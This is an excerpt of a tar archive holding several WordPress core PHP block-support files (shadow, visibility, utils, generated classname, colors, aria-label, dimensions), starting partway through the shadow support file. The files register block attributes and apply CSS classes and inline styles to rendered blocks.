	if ( ! $has_shadow_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( array_key_exists( 'shadow', $block_type->attributes ) ) {
		$block_type->attributes['shadow'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add CSS classes and inline styles for shadow features to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 6.3.0
 * @since 6.6.0 Return early if __experimentalSkipSerialization is true.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 * @return array Shadow CSS classes and inline styles.
 */
function wp_apply_shadow_support( $block_type, $block_attributes ) {
	$has_shadow_support = block_has_support( $block_type, 'shadow', false );

	if (
		! $has_shadow_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'shadow' )
	) {
		return array();
	}

	$shadow_block_styles = array();

	$custom_shadow                 = $block_attributes['style']['shadow'] ?? null;
	$shadow_block_styles['shadow'] = $custom_shadow;

	$attributes = array();
	$styles     = wp_style_engine_get_styles( $shadow_block_styles );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'shadow',
	array(
		'register_attribute' => 'wp_register_shadow_support',
		'apply'              => 'wp_apply_shadow_support',
	)
);
block-visibility.php000064400000001526151443230030010533 0ustar00<?php
/**
 * Block visibility block support flag.
 *
 * @package WordPress
 * @since 6.9.0
 */

/**
 * Render nothing if the block is hidden.
 *
 * @since 6.9.0
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_block_visibility_support( $block_content, $block ) {
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );

	if ( ! $block_type || ! block_has_support( $block_type, 'visibility', true ) ) {
		return $block_content;
	}

	if ( isset( $block['attrs']['metadata']['blockVisibility'] ) && false === $block['attrs']['metadata']['blockVisibility'] ) {
		return '';
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_block_visibility_support', 10, 2 );
utils.php000064400000001763151443230030006417 0ustar00<?php
/**
 * Block support utility functions.
 *
 * @package WordPress
 * @subpackage Block Supports
 * @since 6.0.0
 */

/**
 * Checks whether serialization of the current block's supported properties
 * should occur.
 *
 * @since 6.0.0
 * @access private
 *
 * @param WP_Block_Type $block_type  Block type.
 * @param string        $feature_set Name of block support feature set..
 * @param string        $feature     Optional name of individual feature to check.
 *
 * @return bool Whether to serialize block support styles & classes.
 */
function wp_should_skip_block_supports_serialization( $block_type, $feature_set, $feature = null ) {
	if ( ! is_object( $block_type ) || ! $feature_set ) {
		return false;
	}

	$path               = array( $feature_set, '__experimentalSkipSerialization' );
	$skip_serialization = _wp_array_get( $block_type->supports, $path, false );

	if ( is_array( $skip_serialization ) ) {
		return in_array( $feature, $skip_serialization, true );
	}

	return $skip_serialization;
}
generated-classname.php000064400000003321151443230030011151 0ustar00<?php
/**
 * Generated classname block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Gets the generated classname from a given block name.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param string $block_name Block Name.
 * @return string Generated classname.
 */
function wp_get_block_default_classname( $block_name ) {
	// Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature.
	// Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/').
	$classname = 'wp-block-' . preg_replace(
		'/^core-/',
		'',
		str_replace( '/', '-', $block_name )
	);

	/**
	 * Filters the default block className for server rendered blocks.
	 *
	 * @since 5.6.0
	 *
	 * @param string $class_name The current applied classname.
	 * @param string $block_name The block name.
	 */
	$classname = apply_filters( 'block_default_classname', $classname, $block_name );

	return $classname;
}

/**
 * Adds the generated classnames to the output.
 *
 * @since 5.6.0
 *
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 * @return array Block CSS classes and inline styles.
 */
function wp_apply_generated_classname_support( $block_type ) {
	$attributes                      = array();
	$has_generated_classname_support = block_has_support( $block_type, 'className', true );
	if ( $has_generated_classname_support ) {
		$block_classname = wp_get_block_default_classname( $block_type->name );

		if ( $block_classname ) {
			$attributes['class'] = $block_classname;
		}
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'generated-classname',
	array(
		'apply' => 'wp_apply_generated_classname_support',
	)
);
colors.php000064400000013476151443230030006564 0ustar00<?php
/**
 * Colors block support flag.
 *
 * @package WordPress
 * @since 5.6.0
 */

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.6.0
 * @since 6.1.0 Improved $color_support assignment optimization.
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_colors_support( $block_type ) {
	$color_support = false;
	if ( $block_type instanceof WP_Block_Type ) {
		$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;
	}
	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$has_link_colors_support       = isset( $color_support['link'] ) ? $color_support['link'] : false;
	$has_button_colors_support     = isset( $color_support['button'] ) ? $color_support['button'] : false;
	$has_heading_colors_support    = isset( $color_support['heading'] ) ? $color_support['heading'] : false;
	$has_color_support             = $has_text_colors_support ||
		$has_background_colors_support ||
		$has_gradients_support ||
		$has_link_colors_support ||
		$has_button_colors_support ||
		$has_heading_colors_support;

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( $has_color_support && ! array_key_exists( 'style', $block_type->attributes ) ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}

	if ( $has_background_colors_support && ! array_key_exists( 'backgroundColor', $block_type->attributes ) ) {
		$block_type->attributes['backgroundColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_text_colors_support && ! array_key_exists( 'textColor', $block_type->attributes ) ) {
		$block_type->attributes['textColor'] = array(
			'type' => 'string',
		);
	}

	if ( $has_gradients_support && ! array_key_exists( 'gradient', $block_type->attributes ) ) {
		$block_type->attributes['gradient'] = array(
			'type' => 'string',
		);
	}
}


/**
 * Adds CSS classes and inline styles for colors to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.6.0
 * @since 6.1.0 Implemented the style engine to generate CSS and classnames.
 * @access private
 *
 * @param  WP_Block_Type $block_type       Block type.
 * @param  array         $block_attributes Block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function wp_apply_colors_support( $block_type, $block_attributes ) {
	$color_support = isset( $block_type->supports['color'] ) ? $block_type->supports['color'] : false;

	if (
		is_array( $color_support ) &&
		wp_should_skip_block_supports_serialization( $block_type, 'color' )
	) {
		return array();
	}

	$has_text_colors_support       = true === $color_support ||
		( isset( $color_support['text'] ) && $color_support['text'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['text'] ) );
	$has_background_colors_support = true === $color_support ||
		( isset( $color_support['background'] ) && $color_support['background'] ) ||
		( is_array( $color_support ) && ! isset( $color_support['background'] ) );
	$has_gradients_support         = isset( $color_support['gradients'] ) ? $color_support['gradients'] : false;
	$color_block_styles            = array();

	// Text colors.
	if ( $has_text_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'text' ) ) {
		$preset_text_color          = array_key_exists( 'textColor', $block_attributes ) ? "var:preset|color|{$block_attributes['textColor']}" : null;
		$custom_text_color          = isset( $block_attributes['style']['color']['text'] ) ? $block_attributes['style']['color']['text'] : null;
		$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
	}

	// Background colors.
	if ( $has_background_colors_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'background' ) ) {
		$preset_background_color          = array_key_exists( 'backgroundColor', $block_attributes ) ? "var:preset|color|{$block_attributes['backgroundColor']}" : null;
		$custom_background_color          = isset( $block_attributes['style']['color']['background'] ) ? $block_attributes['style']['color']['background'] : null;
		$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
	}

	// Gradients.
	if ( $has_gradients_support && ! wp_should_skip_block_supports_serialization( $block_type, 'color', 'gradients' ) ) {
		$preset_gradient_color          = array_key_exists( 'gradient', $block_attributes ) ? "var:preset|gradient|{$block_attributes['gradient']}" : null;
		$custom_gradient_color          = isset( $block_attributes['style']['color']['gradient'] ) ? $block_attributes['style']['color']['gradient'] : null;
		$color_block_styles['gradient'] = $preset_gradient_color ? $preset_gradient_color : $custom_gradient_color;
	}

	$attributes = array();
	$styles     = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );

	if ( ! empty( $styles['classnames'] ) ) {
		$attributes['class'] = $styles['classnames'];
	}

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'colors',
	array(
		'register_attribute' => 'wp_register_colors_support',
		'apply'              => 'wp_apply_colors_support',
	)
);
aria-label.php000064400000003113151443230030007237 0ustar00<?php
/**
 * Aria label block support flag.
 *
 * @package WordPress
 * @since 6.8.0
 */

/**
 * Registers the aria-label block attribute for block types that support it.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_aria_label_support( $block_type ) {
	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );

	if ( ! $has_aria_label_support ) {
		return;
	}

	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	if ( ! array_key_exists( 'ariaLabel', $block_type->attributes ) ) {
		$block_type->attributes['ariaLabel'] = array(
			'type' => 'string',
		);
	}
}

/**
 * Add the aria-label to the output.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 *
 * @return array Block aria-label.
 */
function wp_apply_aria_label_support( $block_type, $block_attributes ) {
	if ( ! $block_attributes ) {
		return array();
	}

	$has_aria_label_support = block_has_support( $block_type, array( 'ariaLabel' ), false );
	if ( ! $has_aria_label_support ) {
		return array();
	}

	$has_aria_label = array_key_exists( 'ariaLabel', $block_attributes );
	if ( ! $has_aria_label ) {
		return array();
	}
	return array( 'aria-label' => $block_attributes['ariaLabel'] );
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'aria-label',
	array(
		'register_attribute' => 'wp_register_aria_label_support',
		'apply'              => 'wp_apply_aria_label_support',
	)
);
dimensions.php000064400000012437151443230030007427 0ustar00<?php
/**
 * Dimensions block support flag.
 *
 * This does not include the `spacing` block support even though that visually
 * appears under the "Dimensions" panel in the editor. It remains in its
 * original `spacing.php` file for compatibility with core.
 *
 * @package WordPress
 * @since 5.9.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_dimensions_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_dimensions_support = block_has_support( $block_type, 'dimensions', false );

	if ( $has_dimensions_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block dimensions to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.9.0
 * @since 6.2.0 Added `minHeight` support.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block dimensions CSS classes and inline styles.
 */
function wp_apply_dimensions_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) {
		return array();
	}

	$attributes = array();

	// Width support to be added in near future.

	$has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false );
	$block_styles           = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_min_height                      = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' );
	$dimensions_block_styles              = array();
	$dimensions_block_styles['minHeight'] = null;
	if ( $has_min_height_support && ! $skip_min_height ) {
		$dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] )
			? $block_styles['dimensions']['minHeight']
			: null;
	}
	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Renders server-side dimensions styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.5.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_dimensions_support( $block_content, $block ) {
	$block_type               = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes         = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false );

	if (
		! $has_aspect_ratio_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' )
	) {
		return $block_content;
	}

	$dimensions_block_styles                = array();
	$dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null;

	// To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule.
	if (
		isset( $dimensions_block_styles['aspectRatio'] )
	) {
		$dimensions_block_styles['minHeight'] = 'unset';
	} elseif (
		isset( $block_attributes['style']['dimensions']['minHeight'] ) ||
		isset( $block_attributes['minHeight'] )
	) {
		$dimensions_block_styles['aspectRatio'] = 'unset';
	}

	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject dimensions styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );

			if ( ! empty( $styles['classnames'] ) ) {
				foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) {
					if (
						str_contains( $class_name, 'aspect-ratio' ) &&
						! isset( $block_attributes['style']['dimensions']['aspectRatio'] )
					) {
						continue;
					}
					$tags->add_class( $class_name );
				}
			}
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'dimensions',
	array(
		'register_attribute' => 'wp_register_dimensions_support',
		'apply'              => 'wp_apply_dimensions_support',
	)
);